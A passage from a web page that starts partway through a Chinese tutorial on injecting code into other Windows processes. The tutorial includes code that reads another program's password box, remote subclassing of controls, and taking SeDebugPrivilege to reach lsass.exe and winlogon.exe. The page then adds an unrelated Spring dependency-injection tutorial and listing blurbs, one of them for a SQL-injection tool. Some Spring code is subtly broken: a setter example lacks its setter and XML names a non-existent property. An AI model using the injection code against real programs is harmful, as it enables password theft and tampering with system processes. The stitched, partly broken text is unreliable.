    01.static DWORD WINAPI ThreadFunc (INJDATA *pData)
    02.{
    03.pData->fnSendMessage( pData->hwnd, WM_GETTEXT, // Get password
    04.sizeof(pData->psText),
    05.(LPARAM)pData->psText );
    06.return 0;
    07.}
    08. 
    09.// 该函数在ThreadFunc之后标记内存地址
    10.// int cbCodeSize = (PBYTE) AfterThreadFunc - (PBYTE) ThreadFunc.
    11.static void AfterThreadFunc (void)
    12.{
    13.}

    ThradFunc 是被远程线程执行的代码。

    注释:注意AfterThreadFunc 是如何计算 ThreadFunc 大小的。通常这样做并不是一个好办法,因为链接器可以随意更改函数的顺序(也就是说ThreadFunc可能被放在 AfterThreadFunc之后)。这一点你可以在小项目中很好地保证函数的顺序是预先设想好的,比如 WinSpy 程序。在必要的情况下,你还可以使用 /ORDER 链接器选项来解决函数链接顺序问题。或者用反汇编确定 ThreadFunc 函数的大小。

    如何使用该技术子类化远程控件

    范例程序――InjectEx

    下面我们将讨论一些更复杂的内容,如何子类化属于另一个进程的控件。

    首先,你得拷贝两个函数到远程进程来完成此任务

    1.ThreadFunc实际上是通过 SetWindowLong子类化远程进程中的控件;

    2.NewProc是子类化控件的新窗口过程;

    这里主要的问题是如何将数据传到远程窗口过程 NewProc,因为 NewProc 是一个回调函数,它必须遵循特定的规范和原则,我们不能简单地在参数中传递 INJDATA指针。幸运的是我找到了有两个方法来解决这个问题,只不过要借助汇编语言,所以不要忽略了汇编,关键时候它是很有用的!

    方法一:

    如下图所示:

     

    在远程进程中,INJDATA 被放在NewProc 之前,这样 NewProc 在编译时便知道 INJDATA 在远程进程地址空间中的内存位置。更确切地说,它知道相对于其自身位置的 INJDATA 的地址,我们需要所有这些信息。下面是 NewProc 的代码:

    01.static LRESULT CALLBACK NewProc(
    02.HWND hwnd,       // 窗口句柄
    03.UINT uMsg,       // 消息标示符
    04.WPARAM wParam,   // 第一个消息参数
    05.LPARAM lParam )  // 第二个消息参数
    06.{
    07.INJDATA* pData = (INJDATA*) NewProc;  // pData 指向 NewProc
    08.pData--;              // 现在pData 指向INJDATA;
    09.// 回想一下INJDATA 被置于远程进程NewProc之前;
    10. 
    11.//-----------------------------
    12.// 此处是子类化代码
    13.// ........
    14.//-----------------------------
    15. 
    16.// 调用原窗口过程;
    17.// fnOldProc (由SetWindowLong 返回) 被(远程)ThreadFunc初始化
    18.// 并被保存在(远程)INJDATA;中
    19.return pData->fnCallWindowProc( pData->fnOldProc,
    20.hwnd,uMsg,wParam,lParam );
    21.}

    但这里还有一个问题,见第一行代码:

    1.INJDATA* pData = (INJDATA*) NewProc;

    这种方式 pData得到的是硬编码值(在我们的进程中是原 NewProc 的内存地址)。这不是我们十分想要的。在远程进程中,NewProc “当前”拷贝的内存地址与它被移到的实际位置是无关的,换句话说,我们会需要某种类型的“this 指针”。

    虽然用 C/C++ 无法解决这个问题,但借助内联汇编可以解决,下面是对 NewProc的修改:

    01.static LRESULT CALLBACK NewProc(
    02.HWND hwnd,       // 窗口句柄
    03.UINT uMsg,       // 消息标示符
    04.WPARAM wParam,   // 第一个消息参数
    05.LPARAM lParam )  // 第二个消息参数
    06.{
    07.// 计算INJDATA 结构的位置
    08.// 在远程进程中记住这个INJDATA
    09.// 被放在NewProc之前
    10.INJDATA* pData;
    11._asm {
    12.call    dummy
    13.dummy:
    14.pop     ecx         // <- ECX 包含当前的EIP
    15.sub     ecx, 9      // <- ECX 包含NewProc的地址
    16.mov     pData, ecx
    17.}
    18.pData--;
    19. 
    20. 
    21.//-----------------------------
    22.// 此处是子类化代码
    23.// ........
    24.//-----------------------------
    25. 
    26.// 调用原来的窗口过程
    27.return pData->fnCallWindowProc( pData->fnOldProc,
    28.hwnd,uMsg,wParam,lParam );
    29.}

    那么,接下来该怎么办呢?事实上,每个进程都有一个特殊的寄存器,它指向下一条要执行的指令的内存位置。即所谓的指令指针,在32位 Intel 和 AMD 处理器上被表示为 EIP。因为 EIP是一个专用寄存器,你无法象操作一般常规存储器(如:EAX,EBX等)那样通过编程存取它。也就是说没有操作代码来寻址 EIP,以便直接读取或修改其内容。但是,EIP 仍然还是可以通过间接方法修改的(并且随时可以修改),通过JMP,CALL和RET这些指令实现。下面我们就通过例子来解释通过 CALL/RET 子例程调用机制在32位 Intel 和 AMD 处理器上是如何工作的。

    当你调用(通过 CALL)某个子例程时,子例程的地址被加载到 EIP,但即便是在 EIP杯修改之前,其旧的那个值被自动PUSH到堆栈(被用于后面作为指令指针返回)。在子例程执行完时,RET 指令自动将堆栈顶POP到 EIP。

    现在你知道了如何通过 CALL 和 RET 实现 EIP 的修改,但如何获取其当前的值呢?下面就来解决这个问题,前面讲过,CALL PUSH EIP 到堆栈,所以,为了获取其当前值,调用“哑函数”,然后再POP堆栈顶。让我们用编译后的 NewProc 来解释这个窍门。

    01.Address   OpCode/Params   Decoded instruction
    02.--------------------------------------------------
    03.:00401000  55              push ebp            ; entry point of
    04.; NewProc
    05.:00401001  8BEC            mov ebp, esp
    06.:00401003  51              push ecx
    07.:00401004  E800000000      call 00401009       ; *a*    call dummy
    08.:00401009  59              pop ecx             ; *b*
    09.:0040100A  83E909          sub ecx, 00000009   ; *c*
    10.:0040100D  894DFC          mov [ebp-04], ecx   ; mov pData, ECX
    11.:00401010  8B45FC          mov eax, [ebp-04]
    12.:00401013  83E814          sub eax, 00000014   ; pData--;
    13......
    14......
    15.:0040102D  8BE5            mov esp, ebp
    16.:0040102F  5D              pop ebp
    17.:00401030  C21000          ret 0010

    哑函数调用;就是JUMP到下一个指令并PUSH EIP到堆栈;

    然后将堆栈顶POP到 ECX,ECX再保存EIP;这也是 POP EIP指令的真正地址;

    注意 NewProc 的入口点和 “POP ECX”之间的“距离”是9 个字节;因此为了计算 NewProc的地址,要从 ECX 减9。

    这样一来,不管 NewProc 被移到什么地方,它总能计算出其自己的地址。但是,NewProc 的入口点和 “POP ECX”之间的距离可能会随着你对编译/链接选项的改变而变化,由此造成 RELEASE和DEBUG版本之间也会有差别。但关键是你仍然确切地知道编译时的值。

    1.首先,编译函数

    2.用反汇编确定正确的距离

    3.最后,用正确的距离值重新编译

    此即为 InjecEx 中使用的解决方案,类似于 HookInjEx,交换鼠标点击“开始”左右键时的功能。

    方法二:

    对于我们的问题,在远程进程地址空间中将 INJDATA 放在 NewProc 前面不是唯一的解决办法。看下面 NewProc的变异版本:

    01.static LRESULT CALLBACK NewProc(
    02.HWND hwnd,      // 窗口句柄
    03.UINT uMsg,      // 消息标示符
    04.WPARAM wParam,  // 第一个消息参数
    05.LPARAM lParam ) // 第二个消息参数
    06.{
    07.INJDATA* pData = 0xA0B0C0D0;    // 虚构值
    08. 
    09.//-----------------------------
    10.// 子类化代码
    11.// ........
    12.//-----------------------------
    13. 
    14.// 调用原来的窗口过程
    15.return pData->fnCallWindowProc( pData->fnOldProc,
    16.hwnd,uMsg,wParam,lParam );
    17.}

    此处 0xA0B0C0D0 只是远程进程地址空间中真实(绝对)INJDATA地址的占位符。前面讲过,你无法在编译时知道该地址。但你可以在调用 VirtualAllocEx (为INJDATA)之后得到 INJDATA 在远程进程中的位置。编译我们的 NewProc 后,可以得到如下结果:

    01.Address   OpCode/Params     Decoded instruction
    02.--------------------------------------------------
    03.:00401000  55                push ebp
    04.:00401001  8BEC              mov ebp, esp
    05.:00401003  C745FCD0C0B0A0    mov [ebp-04], A0B0C0D0
    06.:0040100A  ...
    07.....
    08.:0040102D  8BE5              mov esp, ebp
    09.:0040102F  5D                pop ebp
    10.:00401030  C21000            ret 0010

    因此,其编译的代码(十六进制)将是:

    1.558BECC745FCD0C0B0A0......8BE55DC21000.

    现在你可以象下面这样继续:

    1.将INJDATA,ThreadFunc和NewProc 拷贝到目标进程;

    2.修改 NewProc 的代码,以便 pData 中保存的是 INJDATA 的真实地址。

    例如,假设 INJDATA 的地址(VirtualAllocEx返回的值)在目标进程中是 0x008a0000。然后象下面这样修改NewProc的代码:

    1.558BECC745FCD0C0B0A0......8BE55DC21000 <- 原来的NewProc (注1)
    2.558BECC745FC00008A00......8BE55DC21000 <- 修改后的NewProc,使用的是INJDATA的实际地址。

    也就是说,你用真正的 INJDATA(注2) 地址替代了虚拟值 A0B0C0D0(注2)。

    1.开始执行远程的 ThreadFunc,它负责子类化远程进程中的控件。

    注1、有人可能会问,为什么地址 A0B0C0D0 和 008a0000 在编译时顺序是相反的。因为 Intel 和 AMD 处理器使用 little-endian 符号来表示(多字节)数据。换句话说,某个数字的低位字节被存储在内存的最小地址处,而高位字节被存储在最高位地址。

    假设“UNIX”这个词存储用4个字节,在 big-endian 系统中,它被存为“UNIX”,在 little-endian 系统中,它将被存为“XINU”。

    注2、某些破解(很糟)以类似的方式修改可执行代码,但是一旦加载到内存,一个程序是无法修改自己的代码的(代码驻留在可执行程序的“.text” 区域,这个区域是写保护的)。但仍可以修改远程的 NewProc,因为它是先前以 PAGE_EXECUTE_READWRITE 许可方式被拷贝到某个内存块中的。

    何时使用 CreateRemoteThread 和 WriteProcessMemory 技术

    与其它方法比较,使用 CreateRemoteThread 和 WriteProcessMemory 技术进行代码注入更灵活,这种方法不需要额外的 dll,不幸的是,该方法更复杂并且风险更大,只要ThreadFunc出现哪怕一丁点错误,很容易就让(并且最大可能地会)使远程进程崩溃(参见附录 F),因为调试远程 ThreadFunc 将是一个可怕的梦魇,只有在注入的指令数很少时,你才应该考虑使用这种技术进行注入,对于大块的代码注入,最好用 I.和II 部分讨论的方法。

    WinSpy 以及 InjectEx 请从这里。

    结束语

    到目前为止,有几个问题是我们未提及的,现总结如下:

    解决方案OS进程
    I、HooksWin9x 和 WinNT仅仅与 USER32.DLL (注3)链接的进程
    II、CreateRemoteThread & LoadLibrary仅 WinNT(注4)所有进程(注5), 包括系统服务(注6)
    III、CreateRemoteThread & WriteProcessMemory 仅 WinNT所有进程, 包括系统服务

    注3:显然,你无法hook一个没有消息队列的线程,此外,SetWindowsHookEx不能与系统服务一起工作,即使它们与 USER32.DLL 进行链接;

    注4:Win9x 中没有 CreateRemoteThread,也没有 VirtualAllocEx (实际上,在Win9x 中可以仿真,但不是本文讨论的问题了);

    注5:所有进程 = 所有 Win32 进程 + csrss.exe

    本地应用 (smss.exe, os2ss.exe, autochk.exe 等)不使用 Win32 API,所以也不会与 kernel32.dll 链接。唯一一个例外是 csrss.exe,Win32 子系统本身,它是本地应用程序,但其某些库(~winsrv.dll)需要 Win32 DLLs,包括 kernel32.dll;

    注6:如果你想要将代码注入到系统服务中(lsass.exe, services.exe, winlogon.exe 等)或csrss.exe,在打开远程句柄(OpenProcess)之前,将你的进程优先级置为 “SeDebugPrivilege”(AdjustTokenPrivileges)。

    最后,有几件事情一定要了然于心:你的注入代码很容易摧毁目标进程,尤其是注入代码本身出错的时候,所以要记住:权力带来责任!

    因为本文中的许多例子是关于密码的,你也许还读过 Zhefu Zhang 写的另外一篇文章“Super Password Spy++” ,在该文中,他解释了如何获取IE 密码框中的内容,此外,他还示范了如何保护你的密码控件免受类似的攻击。

    附录A:

    为什么 kernel32.dll 和user32.dll 总是被映射到相同的地址。

    我的假定:因为Microsoft 的程序员认为这样做有助于速度优化,为什么呢?我的解释是――通常一个可执行程序是由几个部分组成,其中包括“.reloc” 。当链接器创建 EXE 或者 DLL文件时,它对文件被映射到哪个内存地址做了一个假设。这就是所谓的首选加载/基地址。在映像文件中所有绝对地址都是基于链接器首选的加载地址,如果由于某种原因,映像文件没有被加载到该地址,那么这时“.reloc”就起作用了,它包含映像文件中的所有地址的清单,这个清单中的地址反映了链接器首选加载地址和实际加载地址的差别(无论如何,要注意编译器产生的大多数指令使用某种相对地址寻址,因此,并没有你想象的那么多地址可供重新分配),另一方面,如果加载器能够按照链接器首选地址加载映像文件,那么“.reloc”就被完全忽略掉了。

    但kernel32.dll 和user32.dll 及其加载地址为何要以这种方式加载呢?因为每一个 Win32 程序都需要kernel32.dll,并且大多数Win32 程序也需要 user32.dll,那么总是将它们(kernel32.dll 和user32.dll)映射到首选地址可以改进所有可执行程序的加载时间。这样一来,加载器绝不能修改kernel32.dll and user32.dll.中的任何(绝对)地址。我们用下面的例子来说明:

    将某个应用程序 App.exe 的映像基地址设置成 KERNEL32的地址(/base:"0x77e80000")或 USER32的首选基地址(/base:"0x77e10000"),如果 App.exe 不是从 USER32 导入方式来使用 USER32,而是通过LoadLibrary 加载,那么编译并运行App.exe 后,会报出错误信息("Illegal System DLL Relocation"――非法系统DLL地址重分配),App.exe 加载失败。

    为什么会这样呢?当创建进程时,Win 2000、Win XP 和Win 2003系统的加载器要检查 kernel32.dll 和user32.dll 是否被映射到首选基地址(实际上,它们的名字都被硬编码进了加载器),如果没有被加载到首选基地址,将发出错误。在 WinNT4中,也会检查ole32.dll,在WinNT 3.51 和较低版本的Windows中,由于不会做这样的检查,所以kernel32.dll 和user32.dll可以被加载任何地方。只有ntdll.dll总是被加载到其基地址,加载器不进行检查,一旦ntdll.dll没有在其基地址,进程就无法创建。

    总之,对于 WinNT 4 和较高的版本中

    一定要被加载到基地址的DLLs 有:kernel32.dll、user32.dll 和ntdll.dll;

    每个Win32 程序都要使用的 DLLs+ csrss.exe:kernel32.dll 和ntdll.dll;

    每个进程都要使用的DLL只有一个,即使是本地应用:ntdll.dll;

    附录B:

    /GZ 编译器开关

    在生成 Debug 版本时,/GZ 编译器特性是默认打开的。你可以用它来捕获某些错误(具体细节请参考相关文档)。但对我们的可执行程序意味着什么呢?

    当打开 /GZ 开关,编译器会添加一些额外的代码到可执行程序中每个函数所在的地方,包括一个函数调用(被加到每个函数的最后)――检查已经被我们的函数修改的 ESP堆栈指针。什么!难道有一个函数调用被添加到 ThreadFunc 吗?那将导致灾难。ThreadFunc 的远程拷贝将调用一个在远程进程中不存在的函数(至少是在相同的地址空间中不存在)

    附录C:

    静态函数和增量链接

    增量链接主要作用是在生成应用程序时缩短链接时间。常规链接和增量链接的可执行程序之间的差别是――增量链接时,每个函数调用经由一个额外的JMP指令,该指令由链接器发出(该规则的一个例外是函数声明为静态)。这些 JMP 指令允许链接器在内存中移动函数,这种移动无需修改引用函数的 CALL指令。但这些JMP指令也确实导致了一些问题:如 ThreadFunc 和 AfterThreadFunc 将指向JMP指令而不是实际的代码。所以当计算ThreadFunc 的大小时:

    1.const int cbCodeSize = ((LPBYTE) AfterThreadFunc - (LPBYTE) ThreadFunc)

    你实际上计算的是指向 ThreadFunc 的JMPs 和AfterThreadFunc之间的“距离” (通常它们会紧挨着,不用考虑距离问题)。现在假设 ThreadFunc 的地址位于004014C0 而伴随的 JMP指令位于 00401020。

    1.:00401020   jmp  004014C0
    2....
    3.:004014C0   push EBP          ; ThreadFunc 的实际地址
    4.:004014C1   mov  EBP, ESP
    5....

    那么

    1.WriteProcessMemory( .., &ThreadFunc, cbCodeSize, ..);

    将拷贝“JMP 004014C0”指令(以及随后cbCodeSize范围内的所有指令)到远程进程――不是实际的 ThreadFunc。远程进程要执行的第一件事情将是“JMP 004014C0” 。它将会在其最后几条指令当中――远程进程和所有进程均如此。但 JMP指令的这个“规则”也有例外。如果某个函数被声明为静态的,它将会被直接调用,即使增量链接也是如此。这就是为什么规则#4要将 ThreadFunc 和 AfterThreadFunc 声明为静态或禁用增量链接的缘故。(有关增量链接的其它信息参见 Matt Pietrek的文章“Remove Fatty Deposits from Your Applications Using Our 32-bit Liposuction Tools” )

    附录D:

    为什么 ThreadFunc的局部变量只有 4k?

    局部变量总是存储在堆栈中,如果某个函数有256个字节的局部变量,当进入该函数时,堆栈指针就减少256个字节(更精确地说,在函数开始处)。例如,下面这个函数:

    1.void Dummy(void) {
    2.BYTE var[256];
    3.var[0] = 0;
    4.var[1] = 1;
    5.var[255] = 255;
    6.}

    编译后的汇编如下:

    01.:00401000   push ebp
    02.:00401001   mov  ebp, esp
    03.:00401003   sub  esp, 00000100           ; change ESP as storage for
    04.; local variables is needed
    05.:00401006   mov  byte ptr [esp], 00      ; var[0] = 0;
    06.:0040100A   mov  byte ptr [esp+01], 01   ; var[1] = 1;
    07.:0040100F   mov  byte ptr [esp+FF], FF   ; var[255] = 255;
    08.:00401017   mov  esp, ebp                ; restore stack pointer
    09.:00401019   pop  ebp
    10.:0040101A   ret

    注意上述例子中,堆栈指针是如何被修改的?而如果某个函数需要4KB以上局部变量内存空间又会怎么样呢?其实,堆栈指针并不是被直接修改,而是通过另一个函数调用来修改的。就是这个额外的函数调用使得我们的 ThreadFunc “被破坏”了,因为其远程拷贝会调用一个不存在的东西。

    我们看看文档中对堆栈探测和 /Gs编译器选项是怎么说的:

    ――“/GS是一个控制堆栈探测的高级特性,堆栈探测是一系列编译器插入到每个函数调用的代码。当函数被激活时,堆栈探测需要的内存空间来存储相关函数的局部变量。

    如果函数需要的空间大于为局部变量分配的堆栈空间,其堆栈探测被激活。默认的大小是一个页面(在80x86处理器上4kb)。这个值允许在Win32 应用程序和Windows NT虚拟内存管理器之间进行谨慎调整以便增加运行时承诺给程序堆栈的内存。”

    我确信有人会问:文档中的“……堆栈探测到一块需要的内存空间来存储相关函数的局部变量……”那些编译器选项(它们的描述)在你完全弄明白之前有时真的让人气愤。例如,如果某个函数需要12KB的局部变量存储空间,堆栈内存将进行如下方式的分配(更精确地说是“承诺” )。

    1.sub    esp, 0x1000    ; "分配" 第一次 4 Kb
    2.test  [esp], eax      ; 承诺一个新页内存(如果还没有承诺)
    3.sub    esp, 0x1000    ; "分配" 第二次4 Kb
    4.test  [esp], eax      ; ...
    5.sub    esp, 0x1000
    6.test  [esp], eax

    注意4KB堆栈指针是如何被修改的,更重要的是,每一步之后堆栈底是如何被“触及”(要经过检查)。这样保证在“分配”(承诺)另一页面之前,当前页面承诺的范围也包含堆栈底。

    注意事项

    “每一个线程到达其自己的堆栈空间,默认情况下,此空间由承诺的以及预留的内存组成,每个线程使用 1 MB预留的内存,以及一页承诺的内存,系统将根据需要从预留的堆栈内存中承诺一页内存区域” (参见 MSDN CreateThread > dwStackSize > Thread Stack Size)

    还应该清楚为什么有关 /GS 的文档说在堆栈探针在 Win32 应用程序和Windows NT虚拟内存管理器之间进行谨慎调整。

    现在回到我们的ThreadFunc以及 4KB 限制

    虽然你可以用 /Gs 防止调用堆栈探测例程,但在文档对于这样的做法给出了警告,此外,文件描述可以用 #pragma check_stack 指令关闭或打开堆栈探测。但是这个指令好像一点作用都没有(要么这个文档是垃圾,要么我疏忽了其它一些信息?)。总之,CreateRemoteThread 和 WriteProcessMemory 技术只能用于注入小块代码,所以你的局部变量应该尽量少耗费一些内存字节,最好不要超过 4KB限制。

    附录E:

    为什么要将开关语句拆分成三个以上?

    用下面这个例子很容易解释这个问题,假设有如下这么一个函数:

    01.int Dummy( int arg1 )
    02.{
    03.int ret =0;
    04. 
    05.switch( arg1 ) {
    06.case 1: ret = 1; break;
    07.case 2: ret = 2; break;
    08.case 3: ret = 3; break;
    09.case 4: ret = 0xA0B0; break;
    10.}
    11.return ret;
    12.}

    编译后变成下面这个样子:

    01.地址      操作码/参数       解释后的指令
    02.--------------------------------------------------
    03.; arg1 -> ECX
    04.:00401000  8B4C2404         mov ecx, dword ptr [esp+04]
    05.:00401004  33C0             xor eax, eax     ; EAX = 0
    06.:00401006  49               dec ecx          ; ECX --
    07.:00401007  83F903           cmp ecx, 00000003
    08.:0040100A  771E             ja 0040102A
    09. 
    10.; JMP 到表***中的地址之一
    11.; 注意 ECX 包含的偏移
    12.:0040100C  FF248D2C104000   jmp dword ptr [4*ecx+0040102C]
    13. 
    14.:00401013  B801000000       mov eax, 00000001   ; case 1: eax = 1;
    15.:00401018  C3               ret
    16.:00401019  B802000000       mov eax, 00000002   ; case 2: eax = 2;
    17.:0040101E  C3               ret
    18.:0040101F  B803000000       mov eax, 00000003   ; case 3: eax = 3;
    19.:00401024  C3               ret
    20.:00401025  B8B0A00000       mov eax, 0000A0B0   ; case 4: eax = 0xA0B0;
    21.:0040102A  C3               ret
    22.:0040102B  90               nop
    23. 
    24.; 地址表***
    25.:0040102C  13104000         DWORD 00401013   ; jump to case 1
    26.:00401030  19104000         DWORD 00401019   ; jump to case 2
    27.:00401034  1F104000         DWORD 0040101F   ; jump to case 3
    28.:00401038  25104000         DWORD 00401025   ; jump to case 4

    注意如何实现这个开关语句?

    与其单独检查每个CASE语句,不如创建一个地址表,然后通过简单地计算地址表的偏移量而跳转到正确的CASE语句。这实际上是一种改进。假设你有50个CASE语句。如果不使用上述的技巧,你得执行50次 CMP和JMP指令来达到最后一个CASE。相反,有了地址表后,你可以通过表查询跳转到任何CASE语句,从计算机算法角度和时间复杂度看,我们用O(5)代替了O(2n)算法。其中:

    1.O表示最坏的时间复杂度;

    2.我们假设需要5条指令来进行表查询计算偏移量,最终跳到相应的地址;

    现在,你也许认为出现上述情况只是因为CASE常量被有意选择为连续的(1,2,3,4)。幸运的是,它的这个方案可以应用于大多数现实例子中,只有偏移量的计算稍微有些复杂。但有两个例外:

    如果CASE语句少于等于三个;

    如果CASE 常量完全互不相关(如:“"case 1” ,“case 13” ,“case 50” , 和“case 1000” );

    显然,单独判断每个的CASE常量的话,结果代码繁琐耗时,但使用CMP和JMP指令则使得结果代码的执行就像普通的if-else 语句。

    有趣的地方:如果你不明白CASE语句使用常量表达式的理由,那么现在应该弄明白了吧。为了创建地址表,显然在编译时就应该知道相关地址。

    现在回到问题!

    注意到地址 0040100C 处的JMP指令了吗?我们来看看Intel关于十六进制操作码 FF 的文档是怎么说的:

    1.操作码 指令     描述
    2.FF /4  JMP r/m32  Jump near, absolute indirect,
    3.           address given in r/m32

    原来JMP 使用了一种绝对寻址方式,也就是说,它的操作数(CASE语句中的 0040102C)表示一个绝对地址。还用我说什么吗?远程 ThreadFunc 会盲目地认为地址表中开关地址是 0040102C,JMP到一个错误的地方,造成远程进程崩溃。

    附录F:

    为什么远程进程会崩溃呢?

    当远程进程崩溃时,它总是会因为下面这些原因:

    1.在ThreadFunc 中引用了一个不存在的串;

    2.在在ThreadFunc 中 中一个或多个指令使用绝对寻址(参见附录E);

    3.ThreadFunc 调用某个不存在的函数(该调用可能是编译器或链接器添加的)。你在反汇编器中可以看到这样的情形:

    1.:004014C0    push EBP         ; ThreadFunc 的入口点
    2.:004014C1    mov EBP, ESP
    3....
    4.:004014C5    call 0041550     ;  这里将使远程进程崩溃
    5....
    6.:00401502    ret

    如果 CALL 是由编译器添加的指令(因为某些“禁忌” 开关如/GZ是打开的),它将被定位在 ThreadFunc 的开始的某个地方或者结尾处。

    不管哪种情况,你都要小心翼翼地使用 CreateRemoteThread 和 WriteProcessMemory 技术。尤其要注意你的编译器/链接器选项,一不小心它们就会在 ThreadFunc 添加内容。

    参考资料:

    使用 INJLIB加载32-位 DLL到另一个进程地址空间――Jeffrey Richter. MSJ May, 1994

    HOWTO: 在Windows 95中子类化窗――微软知识库文章125680

    Tutorial 24: Windows 钩子――Iczelion

    CreateRemoteThread ――Felix Kasza

    API 钩子揭秘――Ivo Ivanov

    PE 内幕――Win32 PE 文件格式探秘――Matt Pietrek, March 1994

    Intel 体系架构――软件开发人员手册, Volume 2: 指令集参考



    转自:http://www.vckbase.com/index.php/wv/1580

    源码上传到:http://download.csdn.net/detail/songjinn/6642255

    展开全文
  • spring四种依赖注入方式

    千次阅读 2019-05-07 10:49:18
    spring提出了依赖注入的思想,即依赖不由程序员控制,而是通过spring容器帮我们new指定实例并且将实例注入到需要该对象的类中。依赖注入的另一种说法是“控制反转”,通俗的理解是:平常我们new一个实例,这个实例的...

    平常的java开发中,程序员在某个类中需要依赖其它类的方法,通常是new一个依赖类再调用类实例的方法,这种开发存在的问题是new的类实例不好统一管理。

    spring提出了依赖注入的思想,即依赖不由程序员控制,而是通过spring容器帮我们new指定实例并且将实例注入到需要该对象的类中。依赖注入的另一种说法是“控制反转”,通俗的理解是:平常我们new一个实例,这个实例的控制权是我们程序员,而控制反转是指new实例工作不由我们程序员来做而是交给spring容器来做。

    spring有4种依赖注入方式:

    1. Set方法注入
    2. 构造器注入
    3. 静态工厂的方法注入
    4. 实例工厂的方法注入

    按照实现方式分为两类:

    1. 注解(如@Autowired)
    2. 配置文件(如xml)

    以下对于4种依赖注入方式,分别使用两种实现方式来实现

    1、Set方法注入

    Set方法注入是最简单、最常用的注入方式。

    1.1 注解注入:

    package com.obob.dao;
    
    public class UserDao {
    	
    	public void login() {
    		System.out.println("login...");
    	}
    }
    
    
    package com.obob.service;
    import org.springframework.beans.factory.annotation.Autowired;
    import com.obob.dao.UserDao;
    
    public class UserService {
    	
    	//注解注入(autowire注解默认使用类型注入)
    	@Autowired
    	private UserDao userDao;
    	
    	public void login() {
    		userDao.login();
    	}
    }
    

    1.2 配置文件注入

    UserDao定义不变,UserService去掉注解

    package com.obob.service;
    import org.springframework.beans.factory.annotation.Autowired;
    import com.obob.dao.UserDao;
    
    public class UserService {
    	
    
    	private UserDao userDao;
    	
    	public void login() {
    		userDao.login();
    	}
    }
    

    然后使用配置文件:

    <bean name="userService" class="com.obob.service.UserService">
    	<property name="userDao" ref="userDao" />
    </bean>
    <bean name="userDao" class="com.obob.dao.UserDao"></bean>
    

    2、构造方法注入

    构造方法注入是指带有参数的构造函数注入

    2.1 注解注入:

    package com.obob.service;
    
    import org.springframework.beans.factory.annotation.Autowired;
    
    import com.obob.dao.UserDao;
    
    public class UserService {
    	
    	private UserDao userDao;
    	
    	//注解到构造方法处
    	@Autowired
    	public UserService(UserDao userDao) {
    		this.userDao = userDao;
    	}
    	
    	
    	public void login() {
    		userDao.login();
    	}
    }
    
    

    2.2 配置文件注入

    UserService

    package com.obob.service;
    
    import org.springframework.beans.factory.annotation.Autowired;
    
    import com.obob.dao.UserDao;
    
    public class UserService {
    	
    	private UserDao userDao;
    	
    	public UserService(UserDao userDao) {
    		this.userDao = userDao;
    	}
    	
    	
    	public void login() {
    		userDao.login();
    	}
    }
    
    

    配置文件:

    <bean name="userService" class="com.obob.service.UserService">
    	<constructor-arg index="0" ref="userDao"></constructor-arg> 
    </bean>
    <bean name="userDao" class="com.obob.dao.UserDao"></bean>
    

    3、静态工厂的方法注入

    静态工厂顾名思义,就是通过调用静态工厂的方法来获取自己需要的对象。
    为了使用Spring的依赖注入IOC,我们不直接通过"工程类.静态方法()"来获取对象,而是依然通过spring注入的形式获取:

    此种方式无通过注解注入

    3.1 配置文件注入

    UserService

    package com.obob.service;
    
    import com.obob.dao.UserDao;
    
    public class UserService {
    	
    	private UserDao userDao;
    	
    	public void login() {
    		userDao.login();
    	}
    }
    
    

    Factory

    package com.obob;
    
    import com.obob.dao.UserDao;
    
    public class Factory {
    	
    	public static UserDao initUserDao() {
    		return new UserDao();
    	}
    }
    
    

    配置文件:

    <bean name="userService" class="com.obob.service.UserService">
    	<property name="staticUserDao" ref="staticUserDao" />
    </bean>
    <bean name="staticUserDao" class="com.obob.Factory" factory-method="initUserDao"></bean>
    
    

    4、实例工厂的方法注入

    实例工厂的意思是获取对象实例的方法不是静态的,所以你需要首先new工厂类,再调用普通的实例方法:

    此种方式无通过注解注入

    4.1 配置文件注入

    UserService

    package com.obob.service;
    
    import com.obob.dao.UserDao;
    
    public class UserService {
    	
    	private UserDao userDao;
    	
    	public void login() {
    		userDao.login();
    	}
    }
    
    

    Factory

    package com.obob;
    
    import com.obob.dao.UserDao;
    
    public class Factory {
    	
    	public UserDao initUserDao() {
    		return new UserDao();
    	}
    }
    
    

    配置文件:

    <bean name="userService" class="com.obob.service.UserService">
    	<property name="staticUserDao" ref="staticUserDao" />
    </bean>
    <bean name="staticUserDao" factory-bean="factory" factory-method="initUserDao"></bean>
    <bean name="factory" class="com.obob.Factory"></bean>
    

    5、总结

    这四种方式,最常用的是1和2(set方法、构造方法注入)

    展开全文
  • 啊D注入工具 2.32 纯净版

    千次下载 热门讨论 2010-04-09 12:19:50
    自创的注入引擎,能检测更多存在注入的连接!使用多线程技术,检测速度快! 对"MSSQL显错模式"、"MSSQL不显错模式"、"Access"等数据库都有很好注入检测能力,内集"跨库查询"、"注入点扫描"、"管理入口检测"、"目录查看"、...
  • 依赖注入的三种方式

    千次阅读 2019-06-03 14:33:44
    Spring通过DI(依赖注入)实现IOC(控制反转),常用的注入方式主要有三种:构造方法注入(Construct注入),setter注入,基于注解的注入(接口注入)。(参考...
  • 动手打造Android7.0以上的注入工具

    千次阅读 2018-09-03 08:54:18
    动手打造Android7.0以上的注入工具 在不使用Xposed的一些场景下,想要Hook进入目标APK的方法,最直接有效的方法是注入代码到目标APK,进而完成Hook操作。 面临的挑战 编写注入工具的原理是借助安卓系统的ptrace...
  • Command Injection(命令行注入

    千次阅读 2019-05-06 14:35:02
    Command Injection(命令行注入) 前言 主要集合dvwa对命令行注入进行学习 内容比较基础简单 练习 Low 可以看到这是一个可以输入ip,测试连通性的界面 我觉得这个看代码来审计就很清楚了,这里我们输入(这里是...
  • Spring原理-注入依赖的过程

    千次阅读 2016-11-07 22:48:38
    上面对IoC容器的初始化过程
  • 注入漏洞-sql注入

    万次阅读 2019-04-30 09:33:46
    注入漏洞 注入漏洞 1 SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句。具体来说,它是利用现有应用程序,将SQL语句注入到...
  • 注入方式

    2018-12-01 01:32:33
    简单注入 复合注入 集合注入 具体文件格式 applicationContext.xml &lt;?xml version="1.0" encoding="UTF-8" ?&gt; &lt;beans xmlns = "...
  • Spring常用的三种注入方式

    万次阅读 多人点赞 2017-10-28 21:45:39
    Spring通过DI(依赖注入)实现IOC(控制反转),常用的注入方式主要有三种:构造方法注入,setter注入,基于注解的注入。构造方法注入先简单看一下测试项目的结构,用maven构建的,四个包:entity:存储实体,里面...
  • 三种数据库的 SQL 注入详解

    万次阅读 多人点赞 2019-02-25 09:20:40
